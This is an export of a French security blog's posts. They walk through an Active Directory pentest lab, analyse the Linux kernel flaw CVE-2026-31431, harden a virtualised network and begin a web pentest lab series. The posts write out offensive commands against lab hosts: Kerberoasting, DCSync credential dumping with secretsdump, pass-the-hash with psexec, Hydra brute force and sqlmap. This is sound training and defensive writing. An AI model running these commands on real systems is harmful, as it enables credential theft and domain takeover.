[{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/active-directory/","section":"Tags","summary":"","title":"Active Directory","type":"tags"},{"content":" Introduction # Ce projet est une transformation d\u0026rsquo;un ancien lab académique en projet personnel orienté portfolio. L\u0026rsquo;objectif est de documenter une chaîne d\u0026rsquo;attaque interne complète dans un environnement Active Directory, depuis la découverte réseau jusqu\u0026rsquo;à la compromission du domaine.\nLe lab simule une infrastructure d\u0026rsquo;entreprise avec plusieurs machines Linux et Windows, des services exposés, des partages réseau, un contrôleur de domaine et des erreurs de configuration volontairement présentes.\nL\u0026rsquo;objectif n\u0026rsquo;est pas seulement d\u0026rsquo;obtenir un shell root ou SYSTEM. L\u0026rsquo;objectif est surtout de comprendre comment une compromission initiale peut évoluer vers une compromission complète du domaine, puis de proposer des mesures défensives concrètes.\nObjectifs du projet # Les objectifs principaux sont:\ncartographier un réseau interne identifier les services exposés et les mauvaises configurations exploiter une première machine Linux pivoter vers d\u0026rsquo;autres systèmes internes attaquer l\u0026rsquo;environnement Active Directory exploiter Kerberos via Kerberoasting réaliser une attaque DCSync dans un scénario contrôlé obtenir un shell privilégié documenter les impacts et les recommandations défensives Architecture du lab # Le domaine simulé est esdown.local.\nMachines clés:\nHôte Rôle Adresse SRV-BUR serveur Linux exposant plusieurs services 10.10.10.20 SRV-NAS serveur de fichiers / stockage 10.10.10.21 WIN-APP serveur applicatif Windows 10.10.10.25 DC contrôleur de domaine Active Directory 10.10.10.30 Gateway passerelle réseau 10.10.10.254 Le réseau interne utilisé pour le lab est 10.10.10.0/24.\nMéthodologie # La méthodologie suivie reprend une logique professionnelle de test d\u0026rsquo;intrusion interne:\nreconnaissance et découverte des hôtes énumération des services identification des vulnérabilités exploitation initiale post-exploitation mouvement latéral compromission Active Directory exfiltration contrôlée de preuves recommandations défensives Phase 1 - Reconnaissance réseau # La première étape consiste à identifier les hôtes actifs.\nnmap -sn 10.10.10.0/24 Ensuite, un scan plus détaillé est réalisé sur les machines détectées:\nnmap -sC -sV -p- 10.10.10.20 nmap -sC -sV -p- 10.10.10.21 nmap -sC -sV -p- 10.10.10.30 Les objectifs de cette étape sont:\nidentifier les ports ouverts détecter les versions des services repérer les services anciens ou mal configurés comprendre les relations entre les systèmes Phase 2 - Analyse des services exposés # Plusieurs services intéressants sont identifiés:\nFTP SMB NFS HTTP SSH services Windows liés au domaine Le serveur SRV-BUR expose une surface importante. C\u0026rsquo;est un bon candidat pour obtenir un premier accès.\nVulnérabilité critique - vsFTPd 2.3.4 # Le service FTP expose une version vulnérable connue: vsFTPd 2.3.4.\nCette version est célèbre pour sa backdoor introduite dans un paquet compromis. Dans un environnement réel, la présence d\u0026rsquo;un tel service est critique, car elle permet potentiellement une exécution de commande non authentifiée.\nExploitation conceptuelle:\nnmap --script ftp-vsftpd-backdoor -p21 10.10.10.20 Impact:\nexécution de commande distante accès système initial point d\u0026rsquo;entrée pour la post-exploitation Énumération SMB # L\u0026rsquo;énumération SMB permet d\u0026rsquo;obtenir des informations sur les partages, la politique de mot de passe et les comptes visibles.\nenum4linux -a 10.10.10.20 smbclient -L //10.10.10.20/ -N Points recherchés:\npartages anonymes répertoires accessibles en écriture informations système comptes utilisateurs politique de mot de passe faible Énumération NFS # NFS est également analysé, car une mauvaise configuration peut permettre de monter un partage sensible depuis une machine attaquante.\nshowmount -e 10.10.10.20 mount -t nfs 10.10.10.20:/share /mnt/nfs Risques principaux:\nexposition de fichiers sensibles permissions trop permissives possibilité d\u0026rsquo;écrire une clé SSH pivot vers un autre utilisateur ou serveur Accès initial et post-exploitation # Après exploitation du premier service vulnérable, l\u0026rsquo;objectif est de stabiliser l\u0026rsquo;accès, comprendre le système et rechercher des secrets.\nCommandes utiles:\nid hostname ip a sudo -l find / -perm -4000 -type f 2\u0026gt;/dev/null find / -name \u0026#34;*.key\u0026#34; -o -name \u0026#34;id_rsa\u0026#34; 2\u0026gt;/dev/null Cette phase permet notamment de découvrir une clé SSH utilisable pour pivoter vers un autre serveur interne.\nPivot vers SRV-NAS # La découverte d\u0026rsquo;une clé SSH ou d\u0026rsquo;un secret réutilisé permet de tenter un mouvement latéral.\nssh -i id_rsa user@10.10.10.21 Une fois sur le NAS, l\u0026rsquo;analyse se concentre sur:\nles droits sudo les partages montés les scripts exécutés en privilèges élevés les permissions faibles Élévation de privilèges Linux # Plusieurs vecteurs sont évalués:\nmauvaise configuration sudo répertoires partagés modifiables fichiers sensibles lisibles tâches planifiées SUID binaries Exemple de vérification:\nsudo -l find / -perm -4000 -type f 2\u0026gt;/dev/null Un serveur NAS mal configuré devient souvent un pivot majeur dans un réseau interne, car il contient des fichiers utilisateurs, des sauvegardes ou des secrets applicatifs.\nPassage à Active Directory # Après obtention d\u0026rsquo;identifiants ou d\u0026rsquo;un accès au réseau Windows, l\u0026rsquo;attaque se déplace vers le domaine esdown.local.\nObjectifs:\nidentifier les utilisateurs du domaine trouver les comptes de service repérer les SPN tenter Kerberoasting valider les privilèges obtenus Kerberoasting # Kerberoasting cible les comptes de service Active Directory possédant un SPN.\nCommande utilisée dans le lab:\nimpacket-GetUserSPNs esdown.local/USER:\u0026#39;PASSWORD\u0026#39; -dc-ip 10.10.10.30 -request Le ticket récupéré est ensuite cracké hors ligne:\nhashcat -m 13100 kerb_hash.txt /usr/share/wordlists/rockyou.txt Dans le lab, un compte de service faible permet de récupérer un mot de passe exploitable.\nImpact:\ncompromission d\u0026rsquo;un compte de service accès à des applications internes escalade possible si le compte est trop privilégié DCSync # DCSync est une attaque critique contre Active Directory. Elle abuse des droits de réplication du domaine pour récupérer les secrets du contrôleur de domaine.\nExemple de commande:\nimpacket-secretsdump esdown.local/USER:\u0026#39;PASSWORD\u0026#39;@10.10.10.30 Les secrets récupérés peuvent inclure:\nhash NTLM clés Kerberos secrets du compte krbtgt hash administrateur Le hash krbtgt est particulièrement sensible, car il peut permettre la création de Golden Tickets.\nPass-the-Hash et shell SYSTEM # Une fois un hash administrateur récupéré, il est possible de tester une attaque Pass-the-Hash dans le lab.\nimpacket-psexec -hashes :\u0026lt;NTLM_HASH\u0026gt; esdown.local/Administrateur@10.10.10.30 Objectif:\nobtenir un shell avec privilèges élevés confirmer l\u0026rsquo;impact de la compromission du domaine Chemin d\u0026rsquo;attaque alternatif - EternalBlue # Un chemin alternatif étudié dans le projet concerne EternalBlue (MS17-010).\nCe scénario montre qu\u0026rsquo;une vulnérabilité historique non corrigée peut encore représenter un risque critique si des systèmes anciens restent connectés au réseau.\nPoints défensifs:\npatch management strict segmentation réseau blocage SMB entre zones non nécessaires détection des scans SMB Recommandations défensives # Patch management # corriger les services vulnérables supprimer les versions obsolètes maintenir un inventaire logiciel à jour Durcissement des services # désactiver FTP si inutile remplacer FTP par SFTP/SSH durci limiter SMB aux hôtes nécessaires restreindre NFS par IP et permissions strictes Active Directory # limiter les privilèges des comptes de service utiliser des mots de passe longs et aléatoires auditer les SPN surveiller les requêtes Kerberos anormales protéger le compte krbtgt Détection # À surveiller:\nscans Nmap internes montage NFS inhabituel énumération SMB requêtes Kerberoasting DCSync non légitime Pass-the-Hash Ce que ce projet m\u0026rsquo;a apporté # Ce lab m\u0026rsquo;a permis de relier plusieurs compétences importantes:\npentest Linux énumération réseau interne exploitation de services anciens pivot et post-exploitation attaques Active Directory raisonnement défensif sur les chemins d\u0026rsquo;attaque Conclusion # Ce projet montre comment une compromission initiale sur un serveur Linux peut progressivement mener à la compromission complète d\u0026rsquo;un domaine Active Directory.\nLa leçon principale est simple: dans un réseau interne, chaque mauvaise configuration peut devenir un maillon d\u0026rsquo;une chaîne d\u0026rsquo;attaque plus large. La défense doit donc combiner patch management, segmentation, durcissement, supervision et contrôle strict des privilèges.\n","date":"8 mai 2026","externalUrl":null,"permalink":"/posts/active-directory-internal-pentest-lab/","section":"Posts","summary":"Projet personnel de pentest interne Active Directory: cartographie réseau, exploitation Linux, pivot, Kerberoasting, DCSync, Pass-the-Hash et recommandations défensives.","title":"Active Directory Internal Pentest Lab - From Recon to Domain Compromise","type":"posts"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/af_alg/","section":"Tags","summary":"","title":"AF_ALG","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/algif_aead/","section":"Tags","summary":"","title":"Algif_aead","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/burp-suite/","section":"Tags","summary":"","title":"Burp Suite","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/copy-fail/","section":"Tags","summary":"","title":"Copy Fail","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/cve/","section":"Tags","summary":"","title":"CVE","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/series/cve-deep-dives/","section":"Series","summary":"","title":"CVE Deep Dives","type":"series"},{"content":" TL;DR # CVE-2026-31431, surnommée Copy Fail, est une élévation de privilèges locale (LPE) dans le noyau Linux, liée au sous-système crypto AF_ALG et plus précisément à algif_aead.\nType: Local Privilege Escalation Score NVD: CVSS 3.1 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Surface: kernels Linux impactés depuis une régression introduite par un commit précis Exploitabilité: des PoC publics existent Risque business: un utilisateur local non privilégié peut obtenir root Contexte et chronologie # D\u0026rsquo;après MITRE/NVD, la vulnérabilité est publiée fin avril 2026 et documente un correctif de logique dans le code crypto du noyau.\nLe message de fix indique explicitement:\ncrypto: algif_aead - Revert to operating out-of-place Revert majoritaire du commit fautif 72548b093ee3 (sauf copie des données associées) En clair: une optimisation \u0026ldquo;in-place\u0026rdquo; dans le chemin AEAD a ajouté de la complexité et introduit une condition dangereuse de copie/mapping mémoire.\nComposants techniques concernés # Chemins de code mentionnés par le CNA Linux:\ncrypto/af_alg.c crypto/algif_aead.c crypto/algif_skcipher.c include/crypto/if_alg.h Sous-système concerné:\nAF_ALG (interface crypto user space \u0026lt;-\u0026gt; kernel) algif_aead (AEAD: authenticated encryption with associated data) Cause racine (root cause) # Le correctif upstream indique un retour vers un mode de fonctionnement out-of-place pour algif_aead, car le mode in-place ne donnait pas de bénéfice ici et augmentait fortement la complexité de gestion des buffers/scatterlists.\nEffets observés dans le patch de fix:\nsimplification de la logique de comptage/pull des TSGL suppression d\u0026rsquo;un traitement offset complexe alignement de la construction des SGL sur un chemin plus simple et plus sûr Cette simplification retire le comportement qui ouvrait la voie à une corruption logique exploitable dans certaines conditions.\nConditions d\u0026rsquo;exploitation # Cette CVE est une LPE locale. Le scénario type:\nl\u0026rsquo;attaquant a déjà un shell local non root (PR:L) il peut invoquer l\u0026rsquo;API AF_ALG il déclenche la primitive vulnérable côté kernel il obtient une écriture/altération menant à l\u0026rsquo;élévation root Remarque importante:\nce n\u0026rsquo;est pas une RCE distante \u0026ldquo;one-shot\u0026rdquo; mais dans un contexte post-compromission, multi-tenant, CI runner, container breakout local, ou bastion partagé, l\u0026rsquo;impact est critique Versions affectées et versions corrigées # Les données CNA/NVD indiquent une plage impactée démarrant au commit fautif 72548b093ee38a6d4f2a19e6ef1948ae05c181f7.\nVersions explicitement marquées comme corrigées (branches stables):\n5.10.254+ 5.15.204+ 6.1.170+ 6.6.137+ 6.12.85+ 6.18.22+ 6.19.12+ Toujours vérifier:\nle noyau effectivement booté (uname -r) le changelog de votre distribution (backports fréquents) PoC public et fiabilité # Un PoC public est référencé dans les sources CVE:\nhttps://github.com/theori-io/copy-fail-CVE-2026-31431 Le script PoC public montre:\nutilisation de socket AF_ALG exploitation du chemin aead/authencesn(...) tentative d\u0026rsquo;altération d\u0026rsquo;un binaire sensible, puis élévation Exemples de distributions testées annoncées par l\u0026rsquo;auteur du PoC:\nUbuntu 24.04 LTS Amazon Linux 2023 RHEL 10.1 SUSE 16 Impact sécurité # Confidentialité # Un attaquant root peut lire des secrets système (tokens, clés privées, credentials applicatifs).\nIntégrité # Modification de fichiers binaires/config sensibles, persistence, désactivation d\u0026rsquo;agents sécurité.\nDisponibilité # Risque de sabotage, chiffrement malveillant, arrêt de services critiques.\nConteneurs et cloud # Même si l\u0026rsquo;exploit est local, les environnements cloud/containers sont fortement exposés si:\nhôte non patché privilèges locaux déjà obtenus dans un conteneur contrôles kernel insuffisants Détection - approche défensive pratique # 1) Inventaire et exposition # Lister kernels:\nuname -r cat /etc/os-release Sur flotte:\nCMDB + scanner vulnérabilités corrélation OS/kernel/package advisory 2) Triage rapide des hôtes Linux # Vérifier présence de AF_ALG et activité anormale:\ngrep AF_ALG /proc/net/protocols || true Observer processus ayant créé des sockets AF_ALG (eBPF/auditd/EDR selon outillage).\n3) Indicateurs comportementaux # Chercher:\nexécutions Python inhabituelles sur serveurs prod accès/écriture suspects sur binaires critiques (/usr/bin/su, etc.) séquences \u0026ldquo;local user -\u0026gt; root\u0026rdquo; anormales crash/artefacts kernel autour des opérations crypto socket 4) Corrélation SOC # Règles utiles:\nalerte sur exécution de PoC connus/hashs/YARA alerte sur spawn root depuis utilisateur applicatif sans chaîne sudo légitime alerte sur modifications de binaires système (FIM) Mitigation et remédiation # Priorité 0: patch kernel # Appliquer les kernels corrigés fournis par la distribution (ou équivalent backport vendor).\nToujours valider après reboot:\nuname -r Durcissement court terme (si patch non immédiat) # Mesures temporaires de réduction du risque:\nréduire l\u0026rsquo;accès shell local non nécessaire renforcer segmentation des comptes de service durcir permissions sur environnements partagés activer contrôles EDR/FIM sur binaires système minimiser capacités/privileges dans conteneurs Important: ces mesures ne remplacent pas le patch noyau.\nValidation post-remédiation # Checklist:\nkernel corrigé déployé et booté aucun hôte restant sur version vulnérable surveillance renforcée 7 jours revue des logs d\u0026rsquo;escalade locale sur fenêtre rétroactive IOC de PoC/artefacts recherchés Runbook SOC/IR (prêt à l\u0026rsquo;emploi) # Étape 1 - Identification # confirmer version kernel et exposition CVE qualifier si accès local attaquant possible Étape 2 - Containment # isoler hôtes suspects suspendre comptes compromis bloquer jobs/containers non essentiels si nécessaire Étape 3 - Eradication # patch kernel rotation secrets potentiellement exposés suppression persistence/rootkits Étape 4 - Recovery # redémarrage contrôlé validation services monitoring renforcé Étape 5 - Lessons learned # délai patching kernel gaps de visibilité sur LPE locales amélioration hardening + détection Mapping ATT\u0026amp;CK (indicatif) # Privilege Escalation: T1068 (Exploitation for Privilege Escalation) Defense Evasion/Persistence possibles selon post-exploitation Ce qu\u0026rsquo;il faut retenir pour les équipes défensives # Les LPE kernel restent un accélérateur majeur post-compromission. Le patch management noyau doit être traité comme une urgence de prod. La détection doit couvrir la transition utilisateur non privilégié -\u0026gt; root. Les environnements container/cloud ne sont pas immunisés à ce type de faille locale. Références # Sources officielles et techniques:\nMITRE CVE Record: https://cveawg.mitre.org/api/cve/CVE-2026-31431 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-31431 Linux CVE announce: https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/ PoC public: https://github.com/theori-io/copy-fail-CVE-2026-31431 Technical writeup (éditeur PoC): https://xint.io/blog/copy-fail-linux-distributions Ubuntu advisory: https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available Red Hat advisory page: https://access.redhat.com/security/cve/cve-2026-31431#cve-details-mitigation Stable fix commits référencés par la CVE:\nhttps://git.kernel.org/stable/c/893d22e0135fa394db81df88697fba6032747667 https://git.kernel.org/stable/c/19d43105a97be0810edbda875f2cd03f30dc130c https://git.kernel.org/stable/c/961cfa271a918ad4ae452420e7c303149002875b https://git.kernel.org/stable/c/3115af9644c342b356f3f07a4dd1c8905cd9a6fc https://git.kernel.org/stable/c/8b88d99341f139e23bdeb1027a2a3ae10d341d82 https://git.kernel.org/stable/c/fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8 https://git.kernel.org/stable/c/ce42ee423e58dffa5ec03524054c9d8bfd4f6237 https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 Note éthique # Ce contenu est fourni pour la défense, la remédiation et l\u0026rsquo;amélioration de la sécurité. Tester uniquement dans des environnements autorisés.\n","date":"8 mai 2026","externalUrl":null,"permalink":"/posts/cve-2026-31431-copy-fail/","section":"Posts","summary":"Analyse ultra complète de CVE-2026-31431 (Copy Fail): cause racine dans algif_aead/AF_ALG, conditions d\u0026rsquo;exploitation, impact réel, détection, mitigation et runbook de remédiation en production.","title":"CVE-2026-31431 (Copy Fail) - Linux Kernel LPE Deep Dive","type":"posts"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/series/cyberlabs/","section":"Series","summary":"","title":"CyberLabs","type":"series"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/dcsync/","section":"Tags","summary":"","title":"DCSync","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/defensive-security/","section":"Tags","summary":"","title":"Defensive Security","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/fail2ban/","section":"Tags","summary":"","title":"Fail2ban","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/firewall/","section":"Tags","summary":"","title":"Firewall","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/hardening/","section":"Tags","summary":"","title":"Hardening","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/idor/","section":"Tags","summary":"","title":"IDOR","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/infrastructure/","section":"Tags","summary":"","title":"Infrastructure","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/internal-pentest/","section":"Tags","summary":"","title":"Internal Pentest","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/kerberoasting/","section":"Tags","summary":"","title":"Kerberoasting","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/kernel/","section":"Tags","summary":"","title":"Kernel","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/lfi/","section":"Tags","summary":"","title":"LFI","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/network-security/","section":"Tags","summary":"","title":"Network Security","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/owasp/","section":"Tags","summary":"","title":"OWASP","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/pass-the-hash/","section":"Tags","summary":"","title":"Pass-the-Hash","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/fr/portfolio/","section":"Raizen | Blog","summary":"","title":"Portfolio","type":"page"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/categories/post/","section":"Categories","summary":"","title":"Post","type":"categories"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/privilege-escalation/","section":"Tags","summary":"","title":"Privilege Escalation","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/fr/","section":"Raizen | Blog","summary":"","title":"Raizen | Blog","type":"page"},{"content":" Introduction # Ce projet documente la conception, le déploiement et la sécurisation d\u0026rsquo;une petite architecture réseau d\u0026rsquo;entreprise en environnement virtualisé.\nL\u0026rsquo;objectif est de construire une infrastructure reproductible avec Vagrant, puis de la durcir étape par étape:\nsegmentation réseau firewall / routeur serveur web HTTPS base de données isolée chiffrement des données sensibles Fail2ban tests d\u0026rsquo;attaque contrôlés validation défensive Le projet est orienté blue team et infrastructure security. Il montre comment passer d\u0026rsquo;une architecture fonctionnelle à une architecture défendable.\nObjectifs # Les objectifs du lab sont:\nautomatiser le déploiement des machines virtuelles isoler les rôles réseau appliquer le principe du moindre privilège limiter l\u0026rsquo;exposition des services chiffrer les communications web protéger l\u0026rsquo;accès SSH valider les protections par des tests offensifs contrôlés Architecture cible # Le lab repose sur 4 machines virtuelles:\nVM Rôle Exemple IP fw pare-feu / routeur 192.168.100.1 web serveur web 192.168.100.20 db base de données 192.168.100.30 attacker poste de test Kali 192.168.100.10 L\u0026rsquo;architecture utilise deux zones:\nun accès NAT pour la sortie Internet contrôlée un réseau interne isolé pour les services applicatifs Pourquoi Vagrant # Vagrant permet de rendre le lab reproductible.\nAvantages:\ndéploiement rapide configuration déclarative environnement rejouable documentation sous forme d\u0026rsquo;infrastructure as code cohérence entre les VMs Exemple conceptuel:\nVagrant.configure(\u0026#34;2\u0026#34;) do |config| config.vm.define \u0026#34;fw\u0026#34; do |fw| fw.vm.box = \u0026#34;ubuntu/jammy64\u0026#34; fw.vm.network \u0026#34;private_network\u0026#34;, ip: \u0026#34;192.168.100.1\u0026#34; end end Segmentation réseau # Le firewall joue le rôle de passerelle entre les zones.\nObjectifs:\nempêcher l\u0026rsquo;accès direct non contrôlé vers la base de données centraliser le routage filtrer les flux entrants autoriser uniquement les services nécessaires Tests de connectivité:\nip a ip route ping 192.168.100.1 ping 192.168.100.20 ping 192.168.100.30 Mise en place du routage # Sur la VM firewall, l\u0026rsquo;IP forwarding est activé:\nsudo sysctl -w net.ipv4.ip_forward=1 Pour le rendre persistant:\necho \u0026#34;net.ipv4.ip_forward=1\u0026#34; | sudo tee -a /etc/sysctl.conf sudo sysctl -p Les VMs internes utilisent le firewall comme passerelle par défaut.\nPolitique firewall # La stratégie appliquée est simple:\ntout bloquer par défaut autoriser uniquement ce qui est nécessaire journaliser les flux importants exposer le minimum de services Exemple UFW:\nsudo ufw default deny incoming sudo ufw default allow outgoing sudo ufw allow 2222/tcp sudo ufw allow 443/tcp sudo ufw enable Durcissement du serveur web # Le serveur web héberge une application simple exposée uniquement via HTTPS.\nInstallation:\nsudo apt update sudo apt install apache2 php -y sudo systemctl enable apache2 sudo systemctl start apache2 Ports autorisés:\nSSH d\u0026rsquo;administration sur port non standard HTTPS HTTP clair peut être redirigé ou désactivé selon le besoin.\nTLS avec certificat auto-signé # Génération d\u0026rsquo;une clé privée:\nsudo openssl genrsa -out /etc/ssl/private/server.key 2048 Création d\u0026rsquo;un certificat:\nsudo openssl req -new -x509 \\ -key /etc/ssl/private/server.key \\ -out /etc/ssl/certs/server.crt \\ -days 365 Activation SSL Apache:\nsudo a2enmod ssl sudo a2ensite default-ssl sudo systemctl reload apache2 Sécurisation de la base de données # La base de données ne doit jamais être exposée directement depuis Internet ou depuis le réseau attaquant.\nMesures appliquées:\nécoute limitée au réseau interne accès autorisé uniquement depuis le serveur web durcissement de l\u0026rsquo;installation comptes DB dédiés privilèges minimaux Exemple:\nsudo mysql_secure_installation Règle réseau attendue:\nweb -\u0026gt; db:3306 autorisé autres hôtes -\u0026gt; db:3306 bloqué Chiffrement des données sensibles # Les données sensibles et sauvegardes peuvent être chiffrées avant stockage ou transfert.\nExemple avec GPG:\ngpg --symmetric backup.sql Objectifs:\nprotéger les sauvegardes réduire l\u0026rsquo;impact d\u0026rsquo;une fuite de fichiers ajouter une couche de défense hors ligne Fail2ban # Fail2ban protège les services exposés contre les tentatives répétées.\nInstallation:\nsudo apt install fail2ban -y sudo systemctl enable fail2ban sudo systemctl start fail2ban Exemple de contrôle:\nsudo fail2ban-client status sudo fail2ban-client status sshd Validation par attaques contrôlées # Scan réseau # Depuis la VM attaquante:\nnmap -p- 192.168.100.10 nmap -p- 192.168.100.20 nmap -p- 192.168.100.30 Résultat attendu:\nle web expose uniquement les ports nécessaires la DB ne doit pas exposer MySQL directement le firewall limite l\u0026rsquo;accès administratif Test brute force SSH # Test contrôlé avec Hydra:\nhydra -l user -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.1 -s 2222 Résultat attendu:\naucun mot de passe valide bannissement automatique après plusieurs échecs logs Fail2ban visibles Test applicatif OWASP light # Un test rapide est réalisé avec sqlmap contre une route applicative de test.\nsqlmap -u \u0026#34;https://192.168.100.20/app.php?id=1\u0026#34; --batch Le but n\u0026rsquo;est pas d\u0026rsquo;exploiter l\u0026rsquo;application à tout prix, mais de vérifier que le lab permet aussi de tester des contrôles applicatifs.\nTest TLS # Contrôle de la configuration TLS:\nnmap --script ssl-enum-ciphers -p 443 192.168.100.20 Points à vérifier:\nprotocoles faibles désactivés ciphers faibles évités certificat présent redirection HTTP si nécessaire Documentation et signature # Le projet inclut aussi une logique d\u0026rsquo;intégrité documentaire avec OpenPGP.\nExemple:\ngpg --full-generate-key gpg --armor --detach-sign rapport.pdf Objectif:\ngarantir l\u0026rsquo;intégrité d\u0026rsquo;un livrable prouver qu\u0026rsquo;un document n\u0026rsquo;a pas été modifié introduire une approche cryptographique pratique Résultats obtenus # Les tests montrent que:\nla segmentation limite l\u0026rsquo;exposition de la base de données le firewall joue bien son rôle de point de contrôle HTTPS protège les échanges web Fail2ban réduit l\u0026rsquo;efficacité des attaques automatisées les scans révèlent uniquement les services attendus le lab est reproductible grâce à Vagrant Recommandations d\u0026rsquo;amélioration # Améliorations possibles:\najouter un reverse proxy utiliser Let\u0026rsquo;s Encrypt dans un environnement public centraliser les logs avec Wazuh ajouter des dashboards SIEM automatiser la configuration avec Ansible intégrer des tests de conformité CIS ajouter des règles IDS/Suricata Ce que ce projet m\u0026rsquo;a apporté # Ce projet m\u0026rsquo;a permis de travailler:\nla conception réseau sécurisée le routage Linux le filtrage UFW la sécurisation Apache/TLS la protection SSH le cloisonnement d\u0026rsquo;une base de données la validation offensive d\u0026rsquo;une architecture défensive Conclusion # Ce lab montre qu\u0026rsquo;une architecture sécurisée ne repose pas sur un seul outil. Elle dépend d\u0026rsquo;un ensemble de décisions cohérentes: segmentation, filtrage, chiffrement, durcissement, supervision et tests réguliers.\nC\u0026rsquo;est un projet que je peux enrichir progressivement avec une couche SIEM, une automatisation Ansible et des scénarios purple team plus avancés.\n","date":"8 mai 2026","externalUrl":null,"permalink":"/posts/secure-network-architecture-lab/","section":"Posts","summary":"Projet personnel de déploiement d\u0026rsquo;une architecture réseau sécurisée avec Vagrant: firewall, segmentation, serveur web HTTPS, base de données isolée, Fail2ban, tests d\u0026rsquo;attaque et validation défensive.","title":"Secure Network Architecture Lab - Vagrant, Firewall, TLS and Hardening","type":"posts"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/session-hijacking/","section":"Tags","summary":"","title":"Session Hijacking","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/sql-injection/","section":"Tags","summary":"","title":"SQL Injection","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/fr/topics/","section":"Raizen | Blog","summary":"","title":"Tags \u0026 Series","type":"page"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/tls/","section":"Tags","summary":"","title":"TLS","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/ufw/","section":"Tags","summary":"","title":"UFW","type":"tags"},{"content":"","date":"8 mai 2026","externalUrl":null,"permalink":"/tags/vagrant/","section":"Tags","summary":"","title":"Vagrant","type":"tags"},{"content":" Introduction # Ce projet transforme un ensemble de labs web en un projet personnel complet autour du pentest applicatif.\nL\u0026rsquo;objectif est de documenter plusieurs scénarios d\u0026rsquo;exploitation web réalistes, depuis la manipulation de requêtes HTTP jusqu\u0026rsquo;à la compromission d\u0026rsquo;un compte administrateur via XSS stockée.\nLes exercices couvrent plusieurs familles de vulnérabilités OWASP:\nmauvaise gestion des contrôles d\u0026rsquo;accès injection SQL inclusion de fichiers locaux XSS stockée session hijacking exposition de secrets applicatifs Environnement # Les applications vulnérables sont exposées via plusieurs virtual hosts locaux:\ntp1.esdown.local tp2.esdown.local tp3.esdown.local tp4.esdown.local Les plateformes d\u0026rsquo;entraînement utilisées incluent notamment:\nbWAPP DVWA OWASP Juice Shop OWASP WebGoat applications custom vulnérables Outils utilisés:\nOutil Usage Burp Suite interception, modification et rejeu de requêtes Gobuster découverte de répertoires et fichiers Hydra test contrôlé de brute force SQLMap exploitation automatisée SQLi Netcat reverse shell Meterpreter post-exploitation en lab Browser DevTools analyse client-side TP1 - Manipulation avancée de requêtes HTTP # Le premier scénario vise à comprendre la mécanique HTTP en profondeur.\nObjectifs:\nintercepter une requête modifier la méthode HTTP manipuler les headers ajouter un paramètre POST contourner une logique applicative faible Interception avec Burp Suite # Burp Suite est configuré comme proxy HTTP.\nLa requête est interceptée, puis analysée:\nGET /challenge HTTP/1.1 Host: tp1.esdown.local User-Agent: Mozilla/5.0 Modification de méthode # Une logique applicative peut parfois dépendre uniquement de la méthode utilisée.\nExemple:\nPOST /challenge HTTP/1.1 Host: tp1.esdown.local Content-Type: application/x-www-form-urlencoded Manipulation des headers # Headers testés:\nUser-Agent: admin Referer: http://tp1.esdown.local/admin Content-Type: application/x-www-form-urlencoded Ce type d\u0026rsquo;exercice montre pourquoi les headers client ne doivent jamais être utilisés comme source de confiance.\nTP2 - Chaîne d\u0026rsquo;exploitation web complète # Le second scénario combine plusieurs vulnérabilités dans une chaîne d\u0026rsquo;attaque.\nChaîne simplifiée:\ncréation d\u0026rsquo;un utilisateur découverte d\u0026rsquo;endpoints exploitation d\u0026rsquo;une IDOR exploitation d\u0026rsquo;une LFI tentative de RFI reverse shell post-exploitation exfiltration contrôlée du code source analyse de secrets exploration système Énumération # Découverte de répertoires:\ngobuster dir -u http://tp2.esdown.local/ \\ -w /usr/share/wordlists/dirb/big.txt \\ -x php -b 400,401,403,404 Objectifs:\ntrouver les pages cachées identifier les endpoints utilisateurs repérer les fichiers PHP comprendre les rôles et flux applicatifs IDOR - Insecure Direct Object Reference # Une IDOR apparaît lorsqu\u0026rsquo;une ressource est accessible via un identifiant modifiable sans contrôle 